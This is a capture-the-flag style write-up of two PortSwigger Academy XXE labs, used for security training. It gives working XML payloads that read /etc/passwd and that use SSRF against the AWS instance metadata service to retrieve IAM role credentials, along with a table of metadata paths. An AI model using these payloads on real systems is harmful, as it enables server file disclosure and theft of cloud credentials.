Labs Covered
This write-up focuses on the following APPRENTICE-level labs from the PortSwigger Web Security Academy related to XML External Entity (XXE) Injection:
1 Exploiting XXE using external entities to retrieve files
This lab demonstrates how attackers can exploit XXE vulnerabilities to read sensitive files from the server.
2 Exploiting XXE to perform SSRF attacks
This lab shows how XXE vulnerabilities can be leveraged to perform server-side request forgery (SSRF) attacks.
LAB 1 - Exploiting XXE using external entities to retrieve files
Lab Description
Solution
🔍 1. Intercept the Request
Use Burp Suite to intercept the Check Stock request.
You’ll see a POST request like this:
POST /product/stock HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/xml
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
<productId>1</productId>
<storeId>1</storeId>
</stockCheck>
🛠️ 2. Modify XML to Inject XXE
Add the DOCTYPE definition between the XML declaration and the root stockCheck element. Replace the productId value with &xxe;.
💣 XXE Payload to Read /etc/passwd
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck>
<productId>&xxe;</productId>
<storeId>1</storeId>
</stockCheck>
🚀 3. Send the Request
- Forward the modified request.
- Observe the response: it should now include the contents of
/etc/passwd.
Once the /etc/passwd file is reflected back in the response, the lab is marked as solved.
Key takeaway:
LAB 2 - Exploiting XXE to perform SSRF attacks
Lab Description
Solution
🧠 Background
🧾 Local Entities
Typical files like /etc/passwd are local entities. These can reveal OS-level information.
☁️ AWS Metadata Service
Cloud services like AWS expose metadata via a special internal endpoint:
http://169.254.169.254
This can be used to:
- Enumerate instance information
- Extract IAM role credentials
🔹 1. Initial Discovery Payload
Send a simple XXE payload to access the root of the AWS metadata endpoint:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/"> ]>
<stockCheck>
<productId>&xxe;</productId>
<storeId>1</storeId>
</stockCheck>
Expected Output:
You’ll likely see latest returned after “Invalid product”.
🔍 Enumerating the AWS Metadata Paths
From the initial XXE payload targeting http://169.254.169.254/, you receive the string latest, indicating that the server is forwarding the request to the AWS instance metadata service.
This is your first clue.
Now continue exploring the metadata hierarchy:
🔹 2. Walk the Metadata API
Start traversing the metadata directory structure with each of the following payloads:
- Get the root metadata version
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/">
Response:
meta-data
-
List metadata categories
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">Response (partial example):
ami-id hostname iam/ instance-id ... -
Explore IAM-specific data
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/">Response:
security-credentials/ -
List available IAM roles
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">Response:
admin
🔹 3. Final Exploit – Dump Credentials
Replace the XXE entity to point directly to the role path:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck>
<productId>&xxe;</productId>
<storeId>1</storeId>
</stockCheck>
Response:
Once you retrieve and view the AWS credentials from the metadata API, the lab will mark as solved.
🧠 Bonus: Metadata Path Reference
| Endpoint | Description |
|---|---|
/latest/meta-data/ |
Root metadata directory |
/instance-id |
EC2 instance ID |
/hostname |
Hostname |
/iam/security-credentials/ |
IAM roles |
/iam/security-credentials/<role> |
IAM keys (Access Key, Secret Key, Token) |
KeyTakeaway: